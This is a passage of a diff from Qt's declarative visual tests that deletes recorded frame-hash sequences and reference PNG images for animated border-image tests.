"a261be47ae89e6b53e6bc1c1197154ae" - } - Frame { - msec: 2496 - hash: "c2edb016cfdd47c192d1c48281ee76ed" - } - Frame { - msec: 2512 - hash: "deed4c06c9b713834490832b88e7acaf" - } - Frame { - msec: 2528 - hash: "2fede2f5d871654f3f8a6e9d890adeac" - } - Frame { - msec: 2544 - hash: "29ddde3300d0520a4c01b5536d8b9e7a" - } - Frame { - msec: 2560 - hash: "c61d2aa7f934fb5a9f9f7883e063b51c" - } - Frame { - msec: 2576 - hash: "ddf1f5c0b97fe4821719ec5bf4bd091b" - } - Frame { - msec: 2592 - hash: "e5df07ea21e8e415c3ec82560f2d0f34" - } - Frame { - msec: 2608 - hash: "5cc90d798786c270ddd2616512f4459f" - } - Frame { - msec: 2624 - hash: "00ab7798bcd77a99886dff0414f35382" - } - Frame { - msec: 2640 - hash: "05cbce0eaa80b4610a9067af8c40f819" - } - Frame { - msec: 2656 - hash: "a676f45d946aeb9fa577c0e862735b01" - } - Frame { - msec: 2672 - hash: "d65d50fbb920e683b041a1c72238225b" - } - Frame { - msec: 2688 - hash: "39c46d85d20f7ef3eca1d09c7eb6a068" - } - Frame { - msec: 2704 - hash: "39cc17ee2e889f17dd07179fda99e431" - } - Frame { - msec: 2720 - hash: "fce2648975106bc5c0ca9a4530f7f748" - } - Frame { - msec: 2736 - hash: "7c9a98e2101c33e17c1bd7e6c2d921ff" - } - Frame { - msec: 2752 - hash: "0640fcb0b24d3ba4ab8695f78271a438" - } - Frame { - msec: 2768 - hash: "2084ccc60ddd493399c128717816d33b" - } - Frame { - msec: 2784 - hash: "bd045f4532d78bba0ef1b64118fd9f24" - } - Frame { - msec: 2800 - hash: "42be5d26afb9f066dd27cc9fbaf6ce20" - } - Frame { - msec: 2816 - hash: "2a1fcfb753ca237b518da26e67c928e5" - } - Frame { - msec: 2832 - hash: "92176cce4836dcae4dfca94e49b041a8" - } - Frame { - msec: 2848 - hash: "d6615fc345831a3cc5b9a7196284b632" - } - Frame { - msec: 2864 - hash: "85ef33fcb3f91e4fc20391bf94455984" - } - Frame { - msec: 2880 - image: "animated-smooth.2.png" - } - Frame { - msec: 2896 - hash: "53f05993ba3b426949badd2e4cd66d84" - } - Frame { - msec: 2912 - hash: "b375e723b2396b13b8f55cfc0c81c3c3" - } - Frame { - msec: 2928 - hash: "bd70500fbdfe5aa2fe4362a97a1dee2d" - } - Frame { - msec: 2944 - hash: "853429387cc639496c7338244de7e1b7" - } - Frame { - msec: 2960 - hash: "3df54504f8891306fa8f1e9e2075a5e2" - } - Frame { - msec: 2976 - hash: "0239d697642ca1d1b1d1daa3ea048e1e" - } - Frame { - msec: 2992 - hash: "b0070117f1c24a4da87434725d4bb989" - } - Frame { - msec: 3008 - hash: "8b8120cfc14de03e048632fdea61be21" - } - Frame { - msec: 3024 - hash: "845170815a87565dc4229792032b3357" - } - Frame { - msec: 3040 - hash: "0d407ee07692d0e5a480a60952807b3c" - } - Frame { - msec: 3056 - hash: "64b21b89576fdd0083f60a26f57b9c11" - } - Frame { - msec: 3072 - hash: "d7e96278583f83ab636ed68fa130e4d2" - } - Frame { - msec: 3088 - hash: "48db9a5e6aad9a9563a3cd35fb7fa9b6" - } - Frame { - msec: 3104 - hash: "adc670a9aa0326744cb23e4f5912e6c7" - } - Frame { - msec: 3120 - hash: "9cd29b4b023a8b92573575fb3c3dda83" - } - Frame { - msec: 3136 - hash: "177666cb3bb784c83196886b2c6cf6b6" - } - Frame { - msec: 3152 - hash: "ddd8a006ef048c8d929144aa9fcd7c5a" - } - Frame { - msec: 3168 - hash: "b699285764f5e8866a9996f4a0dccc69" - } - Frame { - msec: 3184 - hash: "84ef6dda8318b623832f58c46d762e89" - } - Frame { - msec: 3200 - hash: "a15f19f374bbfb6a922b69d080a91eaa" - } - Frame { - msec: 3216 - hash: "ae12f1f37a746e16b06e6b869c89fac1" - } - Frame { - msec: 3232 - hash: "5d3e85acabe5e5ff802eb7731676274f" - } - Frame { - msec: 3248 - hash: "fd85d1dd931033973283a408b5e328a8" - } - Frame { - msec: 3264 - hash: "3a77785cfd7755f567619d8e04583f6a" - } - Frame { - msec: 3280 - hash: "efc119983701908a904deb24108c59cb" - } - Frame { - msec: 3296 - hash: "902683d72f789399e9d99d1cea1bf177" - } - Frame { - msec: 3312 - hash: "3e81338d38723d56f2d6c428271f81c1" - } - Frame { - msec: 3328 - hash: "41987e6b4248d7944c0dbc6eb3862023" - } - Frame { - msec: 3344 - hash: "3d518cd0348d6202243364af1dd6ce89" - } - Frame { - msec: 3360 - hash: "4310a4c3037d845f088f21ad608f366a" - } - Frame { - msec: 3376 - hash: "0e0c40f8e11a7bd499c80562ac6f8a82" - } - Frame { - msec: 3392 - hash: "f4d0d3bca25e67908b38910f47b4757e" - } - Frame { - msec: 3408 - hash: "f602e3eda1889d1a7e49560f0dfb5d4c" - } - Frame { - msec: 3424 - hash: "e1474c2cdd8768ca1ef45bf3bc5234ca" - } - Frame { - msec: 3440 - hash: "c8312ede0998636a6bd6451d13636577" - } - Frame { - msec: 3456 - hash: "16c16c77c65b36d1e0954d5ead2642be" - } - Frame { - msec: 3472 - hash: "31d65134f340d82dd40f2401bda3fb7e" - } - Frame { - msec: 3488 - hash: "061406edcbd2d4930ab89c3fcab63c7f" - } - Frame { - msec: 3504 - hash: "0af81ee0d76ff8335a0e347dc086ca37" - } - Frame { - msec: 3520 - hash: "0f347763f25350ebb62dda1536372b45" - } - Frame { - msec: 3536 - hash: "f3a7e74a1839f9366f9eeec4d2b80d1e" - } - Frame { - msec: 3552 - hash: "64ecb03aa538e74d0b99c6dec7751401" - } - Frame { - msec: 3568 - hash: "170a1d5fe3422cf5223a78015a6a45fd" - } - Frame { - msec: 3584 - hash: "10307beea6d99ab0ff5863f8e35555ed" - } - Frame { - msec: 3600 - hash: "456be9c208d690c479ba12bf6325dde0" - } - Frame { - msec: 3616 - hash: "0a8da7a3f57c3e06e4be5ea1d8a83ae9" - } - Frame { - msec: 3632 - hash: "277ef98ea859fb7685fe6cd44a538a7d" - } - Frame { - msec: 3648 - hash: "74c837b29f7f05b615123f0e608b523f" - } - Frame { - msec: 3664 - hash: "d671a3b971468e1d8aa30ab655e020a9" - } - Frame { - msec: 3680 - hash: "df624d70cae1bcefda8d69c0ff055d83" - } - Frame { - msec: 3696 - hash: "3f9a09ae19be34348bb2552915360cf7" - } - Frame { - msec: 3712 - hash: "83c029e328e80af83158c37089cf0ece" - } - Frame { - msec: 3728 - hash: "323af110731b7af0c30f8862ff59b833" - } - Frame { - msec: 3744 - hash: "63d3c47f7dec1236440a05e0a8380900" - } - Frame { - msec: 3760 - hash: "48e62dd171f5da82b5aa26c765e4042c" - } - Frame { - msec: 3776 - hash: "5a8932d13d624932a65694fd19ec05cd" - } - Frame { - msec: 3792 - hash: "8419b295f67cae133760da79dfc26505" - } - Frame { - msec: 3808 - hash: "a716c8d2c94433dee719f92f0822c8ec" - } - Frame { - msec: 3824 - hash: "7b66e21652a7d0982226e281a48411a9" - } - Frame { - msec: 3840 - image: "animated-smooth.3.png" - } - Frame { - msec: 3856 - hash: "59470d71fa4426d0283e86371f2bfc2a" - } - Frame { - msec: 3872 - hash: "d56ba74d38c1889a278929d1c1b7f17a" - } - Frame { - msec: 3888 - hash: "de471829f8ad3b43bf1b4df9d1d65a4d" - } - Frame { - msec: 3904 - hash: "cd2180be80101c2aa4350b51b7a6f502" - } - Frame { - msec: 3920 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3936 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3952 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3968 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 3984 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4000 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4016 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4032 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4048 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4064 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4080 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4096 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4112 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 4128 - hash: "cd2180be80101c2aa4350b51b7a6f502" - } - Frame { - msec: 4144 - hash: "de471829f8ad3b43bf1b4df9d1d65a4d" - } - Frame { - msec: 4160 - hash: "ed9f2ca797894612600bc4b7fbaecb84" - } - Frame { - msec: 4176 - hash: "59470d71fa4426d0283e86371f2bfc2a" - } - Frame { - msec: 4192 - hash: "9a2f92efb51bcc6293d6a8e82d5314ea" - } - Frame { - msec: 4208 - hash: "7b66e21652a7d0982226e281a48411a9" - } - Frame { - msec: 4224 - hash: "a716c8d2c94433dee719f92f0822c8ec" - } - Frame { - msec: 4240 - hash: "f22a47b846cfee96ebdf39bbce2e6d51" - } - Frame { - msec: 4256 - hash: "5a8932d13d624932a65694fd19ec05cd" - } - Frame { - msec: 4272 - hash: "48e62dd171f5da82b5aa26c765e4042c" - } - Frame { - msec: 4288 - hash: "63d3c47f7dec1236440a05e0a8380900" - } - Frame { - msec: 4304 - hash: "323af110731b7af0c30f8862ff59b833" - } - Frame { - msec: 4320 - hash: "83c029e328e80af83158c37089cf0ece" - } - Frame { - msec: 4336 - hash: "3f9a09ae19be34348bb2552915360cf7" - } - Frame { - msec: 4352 - hash: "df624d70cae1bcefda8d69c0ff055d83" - } - Frame { - msec: 4368 - hash: "d671a3b971468e1d8aa30ab655e020a9" - } - Frame { - msec: 4384 - hash: "74c837b29f7f05b615123f0e608b523f" - } - Frame { - msec: 4400 - hash: "277ef98ea859fb7685fe6cd44a538a7d" - } - Frame { - msec: 4416 - hash: "0a8da7a3f57c3e06e4be5ea1d8a83ae9" - } - Frame { - msec: 4432 - hash: "456be9c208d690c479ba12bf6325dde0" - } - Frame { - msec: 4448 - hash: "10307beea6d99ab0ff5863f8e35555ed" - } - Frame { - msec: 4464 - hash: "170a1d5fe3422cf5223a78015a6a45fd" - } - Frame { - msec: 4480 - hash: "64ecb03aa538e74d0b99c6dec7751401" - } - Frame { - msec: 4496 - hash: "f3a7e74a1839f9366f9eeec4d2b80d1e" - } - Frame { - msec: 4512 - hash: "37c3f25e5cfdb48d7e3ab0cf8ffb9154" - } - Frame { - msec: 4528 - hash: "0af81ee0d76ff8335a0e347dc086ca37" - } - Frame { - msec: 4544 - hash: "061406edcbd2d4930ab89c3fcab63c7f" - } - Frame { - msec: 4560 - hash: "31d65134f340d82dd40f2401bda3fb7e" - } - Frame { - msec: 4576 - hash: "16c16c77c65b36d1e0954d5ead2642be" - } - Frame { - msec: 4592 - hash: "61c16009b65a55bffb63e27727e1615e" - } - Frame { - msec: 4608 - hash: "e1474c2cdd8768ca1ef45bf3bc5234ca" - } - Frame { - msec: 4624 - hash: "89c159ef00d273ecfe61332e1bf7244d" - } - Frame { - msec: 4640 - hash: "f4d0d3bca25e67908b38910f47b4757e" - } - Frame { - msec: 4656 - hash: "0e0c40f8e11a7bd499c80562ac6f8a82" - } - Frame { - msec: 4672 - hash: "4310a4c3037d845f088f21ad608f366a" - } - Frame { - msec: 4688 - hash: "3d518cd0348d6202243364af1dd6ce89" - } - Frame { - msec: 4704 - hash: "41987e6b4248d7944c0dbc6eb3862023" - } - Frame { - msec: 4720 - hash: "3e81338d38723d56f2d6c428271f81c1" - } - Frame { - msec: 4736 - hash: "902683d72f789399e9d99d1cea1bf177" - } - Frame { - msec: 4752 - hash: "efc119983701908a904deb24108c59cb" - } - Frame { - msec: 4768 - hash: "3a77785cfd7755f567619d8e04583f6a" - } - Frame { - msec: 4784 - hash: "fd85d1dd931033973283a408b5e328a8" - } - Frame { - msec: 4800 - image: "animated-smooth.4.png" - } - Frame { - msec: 4816 - hash: "ae12f1f37a746e16b06e6b869c89fac1" - } - Frame { - msec: 4832 - hash: "a15f19f374bbfb6a922b69d080a91eaa" - } - Frame { - msec: 4848 - hash: "84ef6dda8318b623832f58c46d762e89" - } - Frame { - msec: 4864 - hash: "b699285764f5e8866a9996f4a0dccc69" - } - Frame { - msec: 4880 - hash: "ddd8a006ef048c8d929144aa9fcd7c5a" - } - Frame { - msec: 4896 - hash: "177666cb3bb784c83196886b2c6cf6b6" - } - Frame { - msec: 4912 - hash: "9cd29b4b023a8b92573575fb3c3dda83" - } - Frame { - msec: 4928 - hash: "adc670a9aa0326744cb23e4f5912e6c7" - } - Frame { - msec: 4944 - hash: "48db9a5e6aad9a9563a3cd35fb7fa9b6" - } - Frame { - msec: 4960 - hash: "d7e96278583f83ab636ed68fa130e4d2" - } - Frame { - msec: 4976 - hash: "64b21b89576fdd0083f60a26f57b9c11" - } - Frame { - msec: 4992 - hash: "0d407ee07692d0e5a480a60952807b3c" - } - Frame { - msec: 5008 - hash: "845170815a87565dc4229792032b3357" - } - Frame { - msec: 5024 - hash: "8b8120cfc14de03e048632fdea61be21" - } - Frame { - msec: 5040 - hash: "b0070117f1c24a4da87434725d4bb989" - } - Frame { - msec: 5056 - hash: "0239d697642ca1d1b1d1daa3ea048e1e" - } - Frame { - msec: 5072 - hash: "3df54504f8891306fa8f1e9e2075a5e2" - } - Frame { - msec: 5088 - hash: "853429387cc639496c7338244de7e1b7" - } - Frame { - msec: 5104 - hash: "bd70500fbdfe5aa2fe4362a97a1dee2d" - } - Frame { - msec: 5120 - hash: "b375e723b2396b13b8f55cfc0c81c3c3" - } - Frame { - msec: 5136 - hash: "53f05993ba3b426949badd2e4cd66d84" - } - Frame { - msec: 5152 - hash: "23291a0239c69ea07db959e709b1ff5f" - } - Frame { - msec: 5168 - hash: "2192094410e2d7c8d9d4aa5f8deacff5" - } - Frame { - msec: 5184 - hash: "d6615fc345831a3cc5b9a7196284b632" - } - Frame { - msec: 5200 - hash: "92176cce4836dcae4dfca94e49b041a8" - } - Frame { - msec: 5216 - hash: "2a1fcfb753ca237b518da26e67c928e5" - } - Frame { - msec: 5232 - hash: "42be5d26afb9f066dd27cc9fbaf6ce20" - } - Frame { - msec: 5248 - hash: "bd045f4532d78bba0ef1b64118fd9f24" - } - Frame { - msec: 5264 - hash: "7f9999a9c87af43b9703323efab31770" - } - Frame { - msec: 5280 - hash: "0640fcb0b24d3ba4ab8695f78271a438" - } - Frame { - msec: 5296 - hash: "7c9a98e2101c33e17c1bd7e6c2d921ff" - } - Frame { - msec: 5312 - hash: "fce2648975106bc5c0ca9a4530f7f748" - } - Frame { - msec: 5328 - hash: "39cc17ee2e889f17dd07179fda99e431" - } - Frame { - msec: 5344 - hash: "39c46d85d20f7ef3eca1d09c7eb6a068" - } - Frame { - msec: 5360 - hash: "d65d50fbb920e683b041a1c72238225b" - } - Frame { - msec: 5376 - hash: "49a1df977b0494c7c72ca0b65c394e13" - } - Frame { - msec: 5392 - hash: "05cbce0eaa80b4610a9067af8c40f819" - } - Frame { - msec: 5408 - hash: "00ab7798bcd77a99886dff0414f35382" - } - Frame { - msec: 5424 - hash: "5cc90d798786c270ddd2616512f4459f" - } - Frame { - msec: 5440 - hash: "e5df07ea21e8e415c3ec82560f2d0f34" - } - Frame { - msec: 5456 - hash: "ddf1f5c0b97fe4821719ec5bf4bd091b" - } - Frame { - msec: 5472 - hash: "c61d2aa7f934fb5a9f9f7883e063b51c" - } - Frame { - msec: 5488 - hash: "29ddde3300d0520a4c01b5536d8b9e7a" - } - Frame { - msec: 5504 - hash: "2fede2f5d871654f3f8a6e9d890adeac" - } - Frame { - msec: 5520 - hash: "deed4c06c9b713834490832b88e7acaf" - } - Frame { - msec: 5536 - hash: "c2edb016cfdd47c192d1c48281ee76ed" - } - Frame { - msec: 5552 - hash: "a261be47ae89e6b53e6bc1c1197154ae" - } - Frame { - msec: 5568 - hash: "e860e97ebd73b7d1d5d5d90458b34bfe" - } - Frame { - msec: 5584 - hash: "a087b532ecb2f28e4ee60819228c2522" - } - Frame { - msec: 5600 - hash: "64df51b4c1bf744b2aae1c6d908c2cc3" - } - Frame { - msec: 5616 - hash: "4520003d4b221a3de6834b2729b3026d" - } - Frame { - msec: 5632 - hash: "d1110817827c318ceb0c112e8c2bfc1d" - } - Frame { - msec: 5648 - hash: "83d49474db15d5779923972ff5f55917" - } - Frame { - msec: 5664 - hash: "3bae40654ec551d69e7c8c72f631c7a5" - } - Frame { - msec: 5680 - hash: "774740a393f3e9b8f12b81cce8da8280" - } - Frame { - msec: 5696 - hash: "d8e398a1ce9ca45c19951e93bd5c932a" - } - Frame { - msec: 5712 - hash: "2b7eb8a9fe26b032be8b4b9c00995912" - } - Frame { - msec: 5728 - hash: "47e920e3884ccf2f0f49e78070af6929" - } - Frame { - msec: 5744 - hash: "fc913807eb1069d611495fbd5d43ee3d" - } - Frame { - msec: 5760 - image: "animated-smooth.5.png" - } - Frame { - msec: 5776 - hash: "5736362b42bc2d801e02edabb983663a" - } - Frame { - msec: 5792 - hash: "e3a2b5c7247acfc1b30825233fbfd56b" - } - Frame { - msec: 5808 - hash: "48952ffa5e300778eafa768b9fe7df0c" - } - Frame { - msec: 5824 - hash: "fe04cae65aeec18697eca4f3f83a40e9" - } - Frame { - msec: 5840 - hash: "382d454f2366c1fb4ca472faa3bfa5e9" - } - Frame { - msec: 5856 - hash: "89022a8e2feb3dcb845de69aafc333ad" - } - Frame { - msec: 5872 - hash: "25506557c853a0020e98cf3992956989" - } - Frame { - msec: 5888 - hash: "9a64706c52c9e962816953e32950b8ba" - } - Frame { - msec: 5904 - hash: "3cbfded47413172ada64095e65c55e8a" - } - Frame { - msec: 5920 - hash: "ec7e1190dd4fe122545e6ce6c8740500" - } - Frame { - msec: 5936 - hash: "c5e399e29b988148913e62ee208b3326" - } - Frame { - msec: 5952 - hash: "3991bc7760b7981d80665e3a7654c9f4" - } - Frame { - msec: 5968 - hash: "05312f9529c94d3331ace7d73c544284" - } - Frame { - msec: 5984 - hash: "a94de4e90a8f8eb4ec33fe902afd226c" - } - Frame { - msec: 6000 - hash: "723f87da7e5b002a2e9b0bcbc81f9458" - } - Frame { - msec: 6016 - hash: "6b8ded0d9386a3fff0601a100c513080" - } - Frame { - msec: 6032 - hash: "f976cd5046ef5391536859e63db905bd" - } - Frame { - msec: 6048 - hash: "a94de4e90a8f8eb4ec33fe902afd226c" - } - Frame { - msec: 6064 - hash: "05312f9529c94d3331ace7d73c544284" - } - Frame { - msec: 6080 - hash: "b980703c1d0018937e83a8ba8862469e" - } - Frame { - msec: 6096 - hash: "c5e399e29b988148913e62ee208b3326" - } - Frame { - msec: 6112 - hash: "3b7b83e97d17440b42e6ef4b962076d8" - } - Frame { - msec: 6128 - hash: "3cbfded47413172ada64095e65c55e8a" - } - Frame { - msec: 6144 - hash: "9a64706c52c9e962816953e32950b8ba" - } - Frame { - msec: 6160 - hash: "25506557c853a0020e98cf3992956989" - } - Frame { - msec: 6176 - hash: "89022a8e2feb3dcb845de69aafc333ad" - } - Frame { - msec: 6192 - hash: "382d454f2366c1fb4ca472faa3bfa5e9" - } - Frame { - msec: 6208 - hash: "fe04cae65aeec18697eca4f3f83a40e9" - } - Frame { - msec: 6224 - hash: "48952ffa5e300778eafa768b9fe7df0c" - } - Frame { - msec: 6240 - hash: "e3a2b5c7247acfc1b30825233fbfd56b" - } - Frame { - msec: 6256 - hash: "5736362b42bc2d801e02edabb983663a" - } - Frame { - msec: 6272 - hash: "5d9ee853f083d514fbe51d6953d8e000" - } - Frame { - msec: 6288 - hash: "fe899138116774df4c4441687e3019c5" - } - Frame { - msec: 6304 - hash: "47e920e3884ccf2f0f49e78070af6929" - } - Frame { - msec: 6320 - hash: "2b7eb8a9fe26b032be8b4b9c00995912" - } - Frame { - msec: 6336 - hash: "64cd225202ed6c91b02c368a9160a656" - } - Frame { - msec: 6352 - hash: "774740a393f3e9b8f12b81cce8da8280" - } - Frame { - msec: 6368 - hash: "3bae40654ec551d69e7c8c72f631c7a5" - } - Frame { - msec: 6384 - hash: "83d49474db15d5779923972ff5f55917" - } - Frame { - msec: 6400 - hash: "d1110817827c318ceb0c112e8c2bfc1d" - } - Frame { - msec: 6416 - hash: "4520003d4b221a3de6834b2729b3026d" - } - Frame { - msec: 6432 - hash: "64df51b4c1bf744b2aae1c6d908c2cc3" - } - Frame { - msec: 6448 - hash: "a087b532ecb2f28e4ee60819228c2522" - } - Frame { - msec: 6464 - hash: "e860e97ebd73b7d1d5d5d90458b34bfe" - } - Frame { - msec: 6480 - hash: "a261be47ae89e6b53e6bc1c1197154ae" - } - Frame { - msec: 6496 - hash: "c2edb016cfdd47c192d1c48281ee76ed" - } - Frame { - msec: 6512 - hash: "deed4c06c9b713834490832b88e7acaf" - } - Frame { - msec: 6528 - hash: "2fede2f5d871654f3f8a6e9d890adeac" - } - Frame { - msec: 6544 - hash: "29ddde3300d0520a4c01b5536d8b9e7a" - } - Frame { - msec: 6560 - hash: "c61d2aa7f934fb5a9f9f7883e063b51c" - } - Frame { - msec: 6576 - hash: "ddf1f5c0b97fe4821719ec5bf4bd091b" - } - Frame { - msec: 6592 - hash: "e5df07ea21e8e415c3ec82560f2d0f34" - } - Frame { - msec: 6608 - hash: "5cc90d798786c270ddd2616512f4459f" - } - Frame { - msec: 6624 - hash: "00ab7798bcd77a99886dff0414f35382" - } - Frame { - msec: 6640 - hash: "05cbce0eaa80b4610a9067af8c40f819" - } - Frame { - msec: 6656 - hash: "a676f45d946aeb9fa577c0e862735b01" - } - Frame { - msec: 6672 - hash: "d65d50fbb920e683b041a1c72238225b" - } - Frame { - msec: 6688 - hash: "39c46d85d20f7ef3eca1d09c7eb6a068" - } - Frame { - msec: 6704 - hash: "39cc17ee2e889f17dd07179fda99e431" - } - Frame { - msec: 6720 - image: "animated-smooth.6.png" - } - Frame { - msec: 6736 - hash: "7c9a98e2101c33e17c1bd7e6c2d921ff" - } - Frame { - msec: 6752 - hash: "0640fcb0b24d3ba4ab8695f78271a438" - } - Frame { - msec: 6768 - hash: "2084ccc60ddd493399c128717816d33b" - } - Frame { - msec: 6784 - hash: "bd045f4532d78bba0ef1b64118fd9f24" - } - Frame { - msec: 6800 - hash: "42be5d26afb9f066dd27cc9fbaf6ce20" - } - Frame { - msec: 6816 - hash: "2a1fcfb753ca237b518da26e67c928e5" - } - Frame { - msec: 6832 - hash: "92176cce4836dcae4dfca94e49b041a8" - } - Frame { - msec: 6848 - hash: "d6615fc345831a3cc5b9a7196284b632" - } - Frame { - msec: 6864 - hash: "85ef33fcb3f91e4fc20391bf94455984" - } - Frame { - msec: 6880 - hash: "23291a0239c69ea07db959e709b1ff5f" - } - Frame { - msec: 6896 - hash: "53f05993ba3b426949badd2e4cd66d84" - } - Frame { - msec: 6912 - hash: "b375e723b2396b13b8f55cfc0c81c3c3" - } - Frame { - msec: 6928 - hash: "bd70500fbdfe5aa2fe4362a97a1dee2d" - } - Frame { - msec: 6944 - hash: "853429387cc639496c7338244de7e1b7" - } - Frame { - msec: 6960 - hash: "3df54504f8891306fa8f1e9e2075a5e2" - } - Frame { - msec: 6976 - hash: "0239d697642ca1d1b1d1daa3ea048e1e" - } - Frame { - msec: 6992 - hash: "b0070117f1c24a4da87434725d4bb989" - } - Frame { - msec: 7008 - hash: "8b8120cfc14de03e048632fdea61be21" - } - Frame { - msec: 7024 - hash: "845170815a87565dc4229792032b3357" - } - Frame { - msec: 7040 - hash: "0d407ee07692d0e5a480a60952807b3c" - } - Frame { - msec: 7056 - hash: "64b21b89576fdd0083f60a26f57b9c11" - } - Frame { - msec: 7072 - hash: "d7e96278583f83ab636ed68fa130e4d2" - } - Frame { - msec: 7088 - hash: "48db9a5e6aad9a9563a3cd35fb7fa9b6" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 7104 - hash: "adc670a9aa0326744cb23e4f5912e6c7" - } - Frame { - msec: 7120 - hash: "9cd29b4b023a8b92573575fb3c3dda83" - } - Frame { - msec: 7136 - hash: "177666cb3bb784c83196886b2c6cf6b6" - } - Frame { - msec: 7152 - hash: "ddd8a006ef048c8d929144aa9fcd7c5a" - } - Frame { - msec: 7168 - hash: "b699285764f5e8866a9996f4a0dccc69" - } - Frame { - msec: 7184 - hash: "84ef6dda8318b623832f58c46d762e89" - } - Frame { - msec: 7200 - hash: "a15f19f374bbfb6a922b69d080a91eaa" - } - Frame { - msec: 7216 - hash: "ae12f1f37a746e16b06e6b869c89fac1" - } - Frame { - msec: 7232 - hash: "5d3e85acabe5e5ff802eb7731676274f" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.0.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.0.png deleted file mode 100644 index 99228f9..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.1.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.1.png deleted file mode 100644 index a2dcd00..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.2.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.2.png deleted file mode 100644 index 8a80020..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.3.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.3.png deleted file mode 100644 index 02b57ef..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.4.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.4.png deleted file mode 100644 index df0f6cc..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.5.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.5.png deleted file mode 100644 index 0add64d..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.6.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.6.png deleted file mode 100644 index 0886207..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.7.png b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.7.png deleted file mode 100644 index bc1a7b0..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.qml deleted file mode 100644 index 29e591a..0000000 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.qml +++ /dev/null @@ -1,2091 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 32 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 48 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 64 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 80 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 96 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 112 - hash: "aec13bcab337e55832b0a02fb5c6b526" - } - Frame { - msec: 128 - hash: "4c60d345821f515c7811f3b69eb94607" - } - Frame { - msec: 144 - hash: "aacf9ae3c23d174a1c1cda493600e355" - } - Frame { - msec: 160 - hash: "228d5312c261d1a5455faf69ec2f2520" - } - Frame { - msec: 176 - hash: "465ec993948f7b75aeb5759976f4620d" - } - Frame { - msec: 192 - hash: "755cfccc38bababc468fe6e1076804bb" - } - Frame { - msec: 208 - hash: "b63e4d1686057828fd8781f1c33585f5" - } - Frame { - msec: 224 - hash: "c5b3dede34b0d1d78135e39c41d117c6" - } - Frame { - msec: 240 - hash: "4d45d70f997c2c67166905c97a900d2e" - } - Frame { - msec: 256 - hash: "7b4d12e5a877507e7454aa1b8ed87c2d" - } - Frame { - msec: 272 - hash: "08b9be66e23c7b6f6f629c7470394601" - } - Frame { - msec: 288 - hash: "3dac1d9632378bd18c1c938a4868e3fb" - } - Frame { - msec: 304 - hash: "406224b535b4425d2708df0083acdc8e" - } - Frame { - msec: 320 - hash: "482bb92d4f0ad5d7c7e379b9e1ad326e" - } - Frame { - msec: 336 - hash: "8419f1d75b14130730bcfec4e3a9b058" - } - Frame { - msec: 352 - hash: "a85ee8be6a47bbd1b14137803ce606ec" - } - Frame { - msec: 368 - hash: "c1936628aec13e08e9581dcd2c6d5717" - } - Frame { - msec: 384 - hash: "75c9bf83ca3fe24612c245698c089430" - } - Frame { - msec: 400 - hash: "8c66a33d26eec2a1133f4362710a5fab" - } - Frame { - msec: 416 - hash: "2266df495ab5265e7514a506d3bf5bc6" - } - Frame { - msec: 432 - hash: "01947e631c3db43f7c5b4427229bc0c8" - } - Frame { - msec: 448 - hash: "3f62f032239d412d3637198f5e3e83d6" - } - Frame { - msec: 464 - hash: 